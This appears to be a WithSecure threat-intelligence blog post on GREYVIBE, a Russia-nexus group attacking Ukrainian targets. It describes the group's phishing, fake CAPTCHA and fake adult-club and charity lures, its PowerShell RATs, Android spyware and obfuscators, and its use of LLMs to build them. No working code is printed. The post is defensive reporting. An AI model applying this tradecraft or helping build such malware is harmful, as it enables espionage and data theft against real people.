target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2 class=\"text--h4\">Executive Summary<\/h2>\n<ul>\n<li>WithSecure identified an ongoing and persistent set of activity targeting Ukraine and Ukraine-related entities since at least August 2025.<\/li>\n<li>Based on significant overlaps observed across both development and operational phases of the associated campaigns, WithSecure associates the activities with a threat group tracked as GREYVIBE. At the time of writing, WithSecure has not identified definitive links between GREYVIBE and any previously tracked threat group.<\/li>\n<li>The group has leveraged multiple attack vectors, including spear-phishing e-mails, fake captcha pages and fraudulent Ukrainian adult club websites, to deliver malware to a diverse set of victims. The observed victimology includes military, government, civilian, and business-related entities. Across these campaigns, the group has relied on custom developed obfuscators, loaders, and malware. WithSecure additionally identified several associated activity and related campaigns that shared varying degrees of overlap with the group\u2019s tooling, infrastructure, and tradecraft.<\/li>\n<li>The lures, targeting, and observed actions on objectives of the activities align with Russian state interests, particularly in support of intelligence-gathering objectives related to Ukraine in the context of the ongoing Russia-Ukraine war. WithSecure also identified multiple indicators suggesting that the associated developers and operators are Russian-speaking and operate broadly in Russian (Moscow) time zone.<\/li>\n<li>While the activities align with Russian state interests, several observed indicators suggest the group has ties to the broader cybercrime ecosystem, with the group potentially involving current or former cybercriminal actors.<\/li>\n<li>Moreover, WithSecure found strong evidence suggesting systematic use of generative AI (GenAI) and large language models (LLMs) by GREYVIBE throughout their operation.<\/li>\n<li>Taken together, WithSecure assesses GREYVIBE is a low-to-moderately sophisticated group, as reflected in repeated operational security failures, heavy reliance on LLMs, and overall observed tradecraft.<\/li>\n<li>Lastly, WithSecure identified design flaws in LegionRelay, a custom malware associated with GREYVIBE that WithSecure assesses was likely developed with LLM assistance. These flaws exposed a limited number of LegionRelay\u2019s backend functionality which provided WithSecure with research visibility into associated activity over an extended period. This visibility informed WithSecure\u2019s assessment of the group\u2019s victimology, actions on objectives, post-compromise tooling, and operational behaviour. Sensitive details pertaining to the observed victimology and actions on objectives as well as information that could aid the threat actor have been deliberately omitted from the report, but could be shared with relevant authorities where appropriate.<\/li>\n<\/ul>\n<p>This blog post summarises key topics from WithSecure\u2019s <a href=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/09\/WithSecure_GREYVIBE.pdf\">full report<\/a>, which covers our investigation and findings in substantially greater depth.<\/p>\n<p>&nbsp;<\/p>\n<h2 class=\"text--h4\">A multi-vector activity set<\/h2>\n<p>GREYVIBE has used several delivery approaches. We grouped GREYVIBE\u2019s observed activity into a set of distinct campaigns linked by shared malware, infrastructure, and operational behaviours. Across these campaigns, the group has consistently used appropriate lures for deception and implemented a decoy-and-payload execution logic to reinforce the credibility of the lure while covertly gaining access to the victim\u2019s machine.<\/p>\n<figure>\n<p><figure id=\"attachment_10942\" aria-describedby=\"caption-attachment-10942\" style=\"width: 1024px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-10942 size-large\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-1-1024x262.webp\" alt=\"\" width=\"1024\" height=\"262\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-1-1024x262.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-1-300x77.webp 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-1-768x197.webp 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-1-1536x394.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-1-447x115.webp 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-1-570x146.webp 570w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-1.webp 1920w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption id=\"caption-attachment-10942\" class=\"wp-caption-text\">Figure 1. Overview of GREYVIBE-associated campaigns, malware, loaders, and obfuscators<\/figcaption><\/figure><\/figure>\n<p><b>PhantomMail &#8211; spear-phishing via email<\/b><\/p>\n<p>Since August 2025, the group has conducted at least six distinct spear-phishing campaigns. Spear-phishing e-mails sent to targeted victims typically contained links to malicious ZIP or RAR archives hosted on third-party file-sharing services such as Google Drive and 4sync. The archives contained PyInstaller- or JavaScript-based loaders that launched a decoy (e.g. a PDF document or an error pop-up) while initiating the PhantomRelay infection chain in the background. Lures impersonated a range of Ukrainian entities, including a Kyiv City Council official, a Ukrainian energy company, the Main Directorate of the State Emergency Service of Ukraine, and the State Service of Special Communications and Information Protection of Ukraine.<\/p>\n<figure>\n<p><figure id=\"attachment_10943\" aria-describedby=\"caption-attachment-10943\" style=\"width: 652px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-10943 size-full\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-2.webp\" alt=\"\" width=\"652\" height=\"630\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-2.webp 652w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-2-300x290.webp 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-2-447x432.webp 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-2-151x146.webp 151w\" sizes=\"auto, (max-width: 652px) 100vw, 652px\" \/><figcaption id=\"caption-attachment-10943\" class=\"wp-caption-text\">Figure 2. Example of decoy PDF document dropped and launched<\/figcaption><\/figure><\/figure>\n<p><b>PhantomClick &#8211; ClickFix via fake CAPTCHA pages<\/b><\/p>\n<p>In early October 2025, the group briefly experimented with ClickFix-style fake CAPTCHA pages for initial malware delivery. Associated domains masqueraded as Zoom conference and LAPAS (Latvian Platform for Development Cooperation) websites. Once landed on the site, victims were instructed, in Ukrainian, to run commands under the pretext of completing a Cloudflare-themed security verification process, while the executed command initiated a PhantomRelay infection chain in the background. The fake sites also implemented decoy redirection to legitimate destinations, likely to reinforce the appearance of a normal verification process.<\/p>\n<figure>\n<p><figure id=\"attachment_10944\" aria-describedby=\"caption-attachment-10944\" style=\"width: 1518px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-10944 size-full\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-3.webp\" alt=\"\" width=\"1518\" height=\"780\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-3.webp 1518w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-3-300x154.webp 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-3-1024x526.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-3-768x395.webp 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-3-447x230.webp 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-3-284x146.webp 284w\" sizes=\"auto, (max-width: 1518px) 100vw, 1518px\" \/><figcaption id=\"caption-attachment-10944\" class=\"wp-caption-text\">Figure 3. Example of fake captcha site and prompted instructions (Ukrainian)<\/figcaption><\/figure><\/figure>\n<p><b>PrincessClub &#8211; fake Ukrainian adult-club websites<\/b><\/p>\n<p>A notable and persistent campaign, tracked as PrincessClub, used fake Ukrainian adult-club websites to deliver FallSpy on Android and PhantomRelayV1 or LegionRelay on Windows. Confirmed victimology included Ukrainian combatants, with many victims located in Kharkiv, Ukraine. The sites included victim-facing functionality intended to appear legitimate, while the infection chain executed in the background. The group has used fake female personas on Telegram, including via local dating channels, to build trust with victims before directing them to the lure sites or delivering malware directly. Later iterations of the lure sites introduced a WebRTC-based live call feature, accessible only post-infection, that could capture victim audio and video, turning the lure site from a static decoy into a potential human intelligence (HUMINT) collection mechanism.<\/p>\n<figure>\n<p><figure id=\"attachment_10945\" aria-describedby=\"caption-attachment-10945\" style=\"width: 1024px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-10945 size-large\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-4-1024x768.webp\" alt=\"\" width=\"1024\" height=\"768\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-4-1024x768.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-4-300x225.webp 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-4-768x576.webp 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-4-1536x1152.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-4-447x335.webp 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-4-195x146.webp 195w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-4.webp 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption id=\"caption-attachment-10945\" class=\"wp-caption-text\">Figure 4. PrincessClub site offering Android and Windows client download<\/figcaption><\/figure><\/figure>\n<h2 class=\"text--h4\">Other associated activity<\/h2>\n<p><b>DroneLink &#8211; drone-themed charity lures<\/b><\/p>\n<p>In March and April 2026, we observed an operational overlap between PrincessClub and a campaign leveraging websites masquerading as charitable foundations supporting the Armed Forces of Ukraine (FPV drones, UAVs, and related initiatives). Overlaps included shared C2 infrastructure, shared post-compromise tooling such as WireGuard and ZAPiXDESK, and DAYLIGHT-obfuscated LegionRelay scripts hosted on the charity sites. Although these overlaps strongly suggest the activity is closely associated with GREYVIBE, WithSecure continues to separately monitor and further investigate activity associated with DroneLink, its lineage, and its association with GREYVIBE.<\/p>\n<figure>\n<figure id=\"attachment_10946\" aria-describedby=\"caption-attachment-10946\" style=\"width: 1024px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-10946 size-large\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-5-1024x768.webp\" alt=\"\" width=\"1024\" height=\"768\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-5-1024x768.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-5-300x225.webp 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-5-768x576.webp 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-5-1536x1152.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-5-447x335.webp 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-5-195x146.webp 195w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-5.webp 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption id=\"caption-attachment-10946\" class=\"wp-caption-text\">Figure 5. Frontpage of one of the fake charity domains used in the DroneLink campaign (frontforce[.]org)<\/figcaption><\/figure><\/figure>\n<p><b>Nebo &#8211; a Russian-language lure<\/b><\/p>\n<p>A smaller cluster of artefacts highly likely associated with GREYVIBE were found masquerading as \u201c\u0421\u041f\u041e \u041d\u0415\u0411\u041e\u201d (transliterated as \u201cSPO NEBO\u201d). These include a FallSpy sample mimicking a Russian-language login screen and a similar fake login page hosted on PrincessClub infrastructure. Both referenced hard-coded telephone exchange (\u201cATC-P\u201d) numbers consistent with secure communications systems primarily used in Russian military and defence settings. The intended victimology of this activity remains unclear. However, the most plausible hypothesis is that the lure was designed to deceive Ukrainian military personnel by presenting the illusion of access to a Russian military terminal.<\/p>\n<figure>\n<p><figure id=\"attachment_10947\" aria-describedby=\"caption-attachment-10947\" style=\"width: 1024px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-10947 size-large\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-6-1024x409.webp\" alt=\"\" width=\"1024\" height=\"409\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-6-1024x409.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-6-300x120.webp 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-6-768x307.webp 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-6-1536x614.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-6-447x179.webp 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-6-365x146.webp 365w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-6.webp 1920w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption id=\"caption-attachment-10947\" class=\"wp-caption-text\">Figure 6. SPO NEBO fake login page and post-authentication \u201cupdate\u201d progress screens<\/figcaption><\/figure><figcaption><\/figcaption><\/figure>\n<h2 class=\"text--h4\">AI as an operational enabler<\/h2>\n<p>One of the most notable aspects of GREYVIBE\u2019s activity is their apparent systematic use of generative AI and large language models across the attack lifecycle. We identified strong indicators suggesting the group has used several AI platforms including: Ideogram AI, ChatGPT, and Google Gemini.<\/p>\n<p>Observed indicators suggest AI-assisted activity across:<\/p>\n<ul>\n<li><b>Lure development<\/b>, including the generation of images used in the PrincessClub campaign and the development of lure sites associated with PrincessClub and PhantomClick.<\/li>\n<li><b>Resource development<\/b>, including the development of obfuscation and loader scripts (LOOKVALJS, DAYLIGHT, TEASOUP), full-stack development of LegionRelay, and backend infrastructure setup and configuration.<\/li>\n<li><b>Post-compromise activity<\/b>, including the generation of post-compromise commands, scripts, and tooling delivered through PhantomRelay and LegionRelay.<\/li>\n<\/ul>\n<figure>\n<p><figure id=\"attachment_10948\" aria-describedby=\"caption-attachment-10948\" style=\"width: 890px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-10948 size-full\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-7.webp\" alt=\"\" width=\"890\" height=\"548\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-7.webp 890w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-7-300x185.webp 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-7-768x473.webp 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-7-447x275.webp 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-7-237x146.webp 237w\" sizes=\"auto, (max-width: 890px) 100vw, 890px\" \/><figcaption id=\"caption-attachment-10948\" class=\"wp-caption-text\">Figure 7. Examples of LLM markers present across images used by GREYVIBE<\/figcaption><\/figure><\/figure>\n<p>WithSecure assesses that this usage is likely deliberate and operationally integrated rather than isolated or experimental. The group\u2019s use of AI may serve several purposes:<\/p>\n<ul>\n<li>Bridging technical capability gaps.<\/li>\n<li>Accelerating development and operational tempo.<\/li>\n<li>Reducing reliance on historically reused malware, code patterns, or tooling that could support attribution.<\/li>\n<\/ul>\n<p>This may also complicate continuous threat tracking and attribution. If an actor can frequently generate, refactor, or replace components of its operational footprint with AI assistance, traditional clustering methods based on stable technical artifacts may become less reliable over time.<\/p>\n<p>&nbsp;<\/p>\n<h2 class=\"text--h4\">Custom malware, loaders, and obfuscators<\/h2>\n<p>The group has relied on a small set of custom-developed malware and obfuscators across their campaigns.<\/p>\n<p><b>PhantomRelay<\/b><\/p>\n<p>PhantomRelay is a PowerShell-based RAT that uses a two-stage execution chain: a fingerprinting script, followed by the main RAT client. The RAT uses WebSockets to communicate with its C2 and supports execution of both PowerShell scripts and Windows commands. Despite its limited native functionality, the RAT is modular in design. Its capabilities are extended through additional PowerShell scripts delivered by the C2 and dynamically executed on the victim machine.<\/p>\n<p>We initially assessed PhantomRelay was custom-developed and exclusively associated with GREYVIBE; however, subsequent analysis identified the same malware in use across additional, seemingly unrelated cybercrime activity clusters. To distinguish these uses we track three variants:<\/p>\n<ol>\n<li><b>PhantomRelayLite<\/b>, a base variant observed across both GREYVIBE\u2019s early development activity and the cybercrime clusters (including a Microsoft Teams voice-phishing intrusion set, and a KongTuke ClickFix delivery chain).<\/li>\n<li><b>PhantomRelayV1<\/b>, the first operational variant developed and weaponised by GREYVIBE, distinguished by a custom watchdog persistence mechanism, a shift from the SAWDUST and CRUDEDUST obfuscators to the group\u2019s own DAYLIGHT obfuscator, as well as distinct C2 infrastructure.<\/li>\n<li><b>PhantomRelayV2<\/b>, the second operational variant developed and weaponised by GREYVIBE, which reconstructs the malware while preserving its core functionality.<\/li>\n<\/ol>\n<p>We cannot at present ascertain the origin of PhantomRelayLite; nevertheless, its appearance across multiple cybercrime clusters places GREYVIBE in close proximity to the cybercrime ecosystem.<\/p>\n<figure>\n<p><figure id=\"attachment_10949\" aria-describedby=\"caption-attachment-10949\" style=\"width: 1024px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-10949 size-large\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-8-1024x336.webp\" alt=\"\" width=\"1024\" height=\"336\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-8-1024x336.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-8-300x98.webp 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-8-768x252.webp 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-8-1536x504.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-8-447x147.webp 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-8-445x146.webp 445w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-8.webp 1920w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption id=\"caption-attachment-10949\" class=\"wp-caption-text\">Figure 8. Perceived relationship between PhantomRelay variants and associated activity clusters<\/figcaption><\/figure><\/figure>\n<p><b>FallSpy<\/b><\/p>\n<p>FallSpy is an Android spyware first observed in August 2025. It has been observed across several GREYVIBE-associated campaigns, including PrincessClub and Nebo.<\/p>\n<p>The malware presents decoy content to the victim while covertly collecting and exfiltrating information from the victim\u2019s device, including contacts, call logs, installed applications, SIM-linked phone numbers, device and network information, Wi-Fi SSID, last-known location, public IP, and media files. Based on its functionality and deployment context, FallSpy appears to be developed for surveillance and intelligence-gathering objectives.<\/p>\n<p><b>LegionRelay<\/b><\/p>\n<p>LegionRelay is a lightweight PowerShell-based RAT that communicates with its command-and-control server through REST API methods. Although the client-side implementation is limited to executing operator-issued PowerShell commands, the broader capability set is realised through operator-staged scripts deployed during post-compromise activity.<\/p>\n<p>WithSecure observed operators using LegionRelay for file enumeration, file exfiltration, screenshot capture, browser data theft, Telegram and WhatsApp data exfiltration, RDP access setup, among other actions.<\/p>\n<p><b>Custom obfuscators<\/b><\/p>\n<p>The group has developed and rotated through several custom obfuscators and loaders: LOOKVALPS (PowerShell), LOOKVALJS (JavaScript), DAYLIGHT (PowerShell), and TEASOUP (JavaScript).<\/p>\n<p>DAYLIGHT, in active use from October 2025, likely replaced LOOKVALPS and was routinely applied to both initial-stage and post-compromise payloads. TEASOUP, observed from March 2026, similarly succeeded LOOKVALJS.<\/p>\n<p>We assess with moderate-to-high confidence that all four were custom-developed by the group, and with moderate confidence that several were developed with LLM assistance.<\/p>\n<p>&nbsp;<\/p>\n<h2 class=\"text--h4\">The blurred lines of attribution<\/h2>\n<p>WithSecure found associated operators and developers are Russian-speaking and operate within the Russian (Moscow) time zone. This assessment is supported by converging indicators, including:<\/p>\n<ul>\n<li>The prevalence of Russian-language comments across development, backend, and code artefacts<\/li>\n<li>Russian-language administrative panels for FallSpy, LegionRelay, and PrincessClub.<\/li>\n<li>Operator- and developer-linked machines configured to the Russian locale and UTC+3 (Moscow time)<\/li>\n<li>C2 servers similarly configured to UTC+3<\/li>\n<li>Evidence of operators communicating in Russian and translating between Russian and Ukrainian.<\/li>\n<\/ul>\n<p>Analysis of operator post-compromise activity over several months further showed patterns consistent with Moscow working hours.<\/p>\n<figure>\n<p><figure id=\"attachment_10950\" aria-describedby=\"caption-attachment-10950\" style=\"width: 1024px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-10950 size-large\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-9-1024x558.webp\" alt=\"\" width=\"1024\" height=\"558\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-9-1024x558.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-9-300x164.webp 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-9-768x419.webp 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-9-447x244.webp 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-9-268x146.webp 268w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/figure-9.webp 1381w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption id=\"caption-attachment-10950\" class=\"wp-caption-text\">Figure 9. Operator post-compromise activity grouped by hour of day (UTC+3)<\/figcaption><\/figure><\/figure>\n<p>Moreover, we assess with high confidence that GREYVIBE\u2019s activities align with Russian state interests, particularly intelligence-gathering objectives in the context of the ongoing Russia-Ukraine war. This assessment is supported by the group\u2019s primary focus on Ukrainian targets, the nature of the lures and victimology observed, and the actions on objectives identified during post-compromise activity.<\/p>\n<p>At the same time, several indicators align more closely with cybercriminal actors than with traditional nation-state operations, including:<\/p>\n<ul>\n<li>Suspected access to and use of a unique ISO builder across early development samples, potentially linked to the <a href=\"https:\/\/www.ibm.com\/think\/x-force\/trickbot-group-systematically-attacking-ukraine\" target=\"_blank\" rel=\"noopener\">TrickBot ecosystem<\/a>\u00a0and <a href=\"https:\/\/cert.gov.ua\/article\/39934\" target=\"_blank\" rel=\"noopener\">UAC-0098<\/a>\u00a0 (an activity cluster likely involving former TrickBot members previously observed targeting Ukraine)<\/li>\n<li>The presence of PhantomRelay variants across seemingly unrelated cybercrime activity clusters<\/li>\n<li>Development and test samples being uploaded to public platforms such as VirusTotal<\/li>\n<li>The use of Internet slang-based naming conventions across early-stage development artefacts (for example, \u201cletsrollboyos,\u201d \u201ctotallyunsus,\u201d \u201ccuteuwu\u201d)<\/li>\n<li>The deployment of an XMRig miner payload on a small number of LegionRelay-infected machines.<\/li>\n<\/ul>\n<p>Taken together, we assess with moderate confidence that the group has ties to the broader cybercrime ecosystem, and with low-to-moderate confidence that it involves current or former cybercriminal members. The exact nature of their relationship to the Russian state remains unclear, whether such members have been absorbed into a state-backed group, operate independently under state-directed tasking, or have formed a hybrid team. There is established <a href=\"https:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/cybercrime-multifaceted-national-security-threat\" target=\"_blank\" rel=\"noopener\">precedent<\/a> for Russian intelligence services leveraging or co-opting cybercriminal groups in support of state objectives.<\/p>\n<p>While certain technical overlaps suggest proximity to UAC-0098, there is at present insufficient evidence to assess that GREYVIBE represents a direct continuation or reconstitution of that cluster. This hypothesis therefore remains low likelihood, but warrants further investigation.<\/p>\n<p>&nbsp;<\/p>\n<h2 class=\"text--h4\">Conclusion<\/h2>\n<p>GREYVIBE represents a persistent Russia-nexus threat operating primarily against Ukrainian targets, leveraging a broad range of delivery vectors and a small family of custom-developed malware, loaders, and obfuscators.<\/p>\n<p>The group\u2019s operation aligns with Russian state interests but does not consistently exhibit the operational maturity associated with more seasoned adversaries, and indicators also suggest ties to the broader cybercrime ecosystem. The group occupies a grey area between cybercrime and state-affiliated activity, complicating attribution efforts and blurring traditional distinctions between these categories.<\/p>\n<p>The group\u2019s extensive use of GenAI and LLMs is a notable aspect of its tradecraft. GREYVIBE appears to use AI not only for isolated development tasks, but across multiple operational phases. This likely enables the group to compensate for capability gaps, accelerate development cycles, and potentially reduce historical backlinks to prior activity. Given this extensive use, we expect the group\u2019s tradecraft to continue evolving and diversifying, likely increasing the complexity of continuous detection, tracking, and attribution.<\/p>\n<p>At the time of writing, WithSecure has not identified definitive links between GREYVIBE and any previously tracked threat group. WithSecure continues to monitor the group, its associated campaigns, and potential links to other activity clusters.<\/p>\n<p>A full list of Indicators of Compromise and associated YARA rules can be found in <a href=\"https:\/\/github.com\/WithSecureLabs\/iocs\/tree\/master\/GREYVIBE\/\" target=\"_blank\" rel=\"noopener\">WithSecure\u2019s GitHub.<\/a><\/p>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/&#038;title=GREYVIBE:%20A%20Russia-nexus%20group%20leveraging%20AI%20across%20state-aligned%20operations\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, 